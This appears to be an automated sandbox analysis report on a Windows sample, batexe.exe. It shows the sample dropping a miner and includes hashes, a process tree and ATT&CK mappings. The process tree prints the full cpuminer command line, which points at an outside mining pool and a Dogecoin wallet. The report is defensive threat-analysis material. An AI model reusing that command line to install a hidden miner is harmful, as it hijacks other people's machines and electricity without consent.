73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
21-02-2024 17:36

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1836	b2e.exe
3812	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3812	cpuminer-sse2.exe
3812	cpuminer-sse2.exe
3812	cpuminer-sse2.exe
3812	cpuminer-sse2.exe
3812	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2888-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2888 wrote to memory of 1836	2888	batexe.exe	74
PID 2888 wrote to memory of 1836	2888	batexe.exe	74
PID 2888 wrote to memory of 1836	2888	batexe.exe	74
PID 1836 wrote to memory of 3604	1836	b2e.exe	76
PID 1836 wrote to memory of 3604	1836	b2e.exe	76
PID 1836 wrote to memory of 3604	1836	b2e.exe	76
PID 3604 wrote to memory of 3812	3604	cmd.exe	78
PID 3604 wrote to memory of 3812	3604	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2888
- C:\Users\Admin\AppData\Local\Temp\8472.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8472.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8472.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8647.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3604
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8472.tmp\b2e.exe

Filesize
3.3MB

MD5
a4b358ae647744e044cae1e66e220b7c

SHA1
1ca91832cbb31e60c5457d0189ba6076fcc8d509

SHA256
8b738ca715fd304a6d4a2d3404fc420eab2fd37bae5af359a2e412f6cb7b5ba4

SHA512
7f7bd927bad77efa1107eb27591094da5fecde6e6a96acedecacc19cdeca085448caaf2263d9c714e600b8c8b47bf5a7f14640e480a900d1b271285a41e93678

Download Submit
C:\Users\Admin\AppData\Local\Temp\8472.tmp\b2e.exe

Filesize
3.4MB

MD5
e35a3389ddfb9c9efba4f521cce1139c

SHA1
7e1253d843ef2e0018e3b4fd0a0aa2a90a3cef8b

SHA256
67bbbf23a83b335385bd698cc1b19b8f9e1ca1bee5259ddc1c662b667f609407

SHA512
8701eed38c6fbdda90a4e6ec4c5ab12446df326ee9f26089e1b7f079d8f42cdf6d24ea944b113598c0a379ec77f3b9cea3a88eab46ffa649d60ead1b86c9c0b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\8647.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
de22f7ab4cca9e5c5277b7eef62c2af2

SHA1
85b6345e0694a3ef5898cdadf405be1d6d90afbe

SHA256
c3c201b79f38547990f511eda9f08fe500b00777cc4dd6570b63798f103494ec

SHA512
fed92c9008ab50a16bd54d859c196a5b157d49485bbbb3f0477b7e49a8d07e994a47654aaefcc4dcaa2e9bbac27f94aae834394a13b473c20c30051225983da5

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.9MB

MD5
06580d03bc51f7214329e5379f0264a6

SHA1
44f02e8274b2f34daf5b38a0185739d51f32aeae

SHA256
46906c81c3062509491e51d4f1ea05ec9403d74780088d3edc5c4c7d83cd5945

SHA512
d574647c002f4e6fe1f02f3766326543729e1e414ef16a81e52211159aed95b800bce47d02a608dd01876f322fea9dfc6eba555229cb5f1cb0859bb996816d5f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
5b4a55104ba252515f9ad9021da0b9d8

SHA1
ed209ca86dab2862b5978c319e8101f996e38efd

SHA256
10cc3eddff940cc9a9aca4a82900b0136ece1d8eccaf5c32efe9de9492830090

SHA512
9472aecac1580180093d6ffff537d7d4b6af9c19f6159e312d16236fb1c8b1078cf49403f14a58f542afb3f3c4f3ad344c397605a9ee9339bf7df9cb3c741d8c

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
3a65c50ec9054b1d534dbbb6cfcc4ac2

SHA1
8e6e8abf773062e605a5b95be3b10e03c0075478

SHA256
86098611e276ea2310692288a24a67b8e7f82859b140a27ebd33ec27f0155322

SHA512
31851ce93f8100ee0cd26249a1a035b628596feb54cbe336de9031bdd9cc55bfb4ffd915672849eb509aa578815f73114ab7b8b2b9c41235d43a168791a1baf4

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
a5d9d36a8f2a4ad73ffafacf256295b1

SHA1
e94cbc57cafdbfeb91db21c32003be6a0b0cc65c

SHA256
f2d8c0792d49711690c52eaebeab922b210edbe014bab1f2e63a55cd1aeedf0b

SHA512
82d6bdd97948beb750f7ba3865348cb70a35f0e8900d295f1181f598effe59eae820d1aa7b0369ca6122d0bb98ccd30b6aefc0f7347274c2a0a74c5e7ae595fe

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1836-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1836-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2888-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3812-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3812-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3812-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3812-44-0x0000000001020000-0x00000000028D5000-memory.dmp

Filesize
24.7MB

Download
memory/3812-43-0x0000000056A30000-0x0000000056AC8000-memory.dmp

Filesize
608KB

Download
memory/3812-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3812-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3812-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3812-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3812-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3812-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3812-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3812-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3812-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download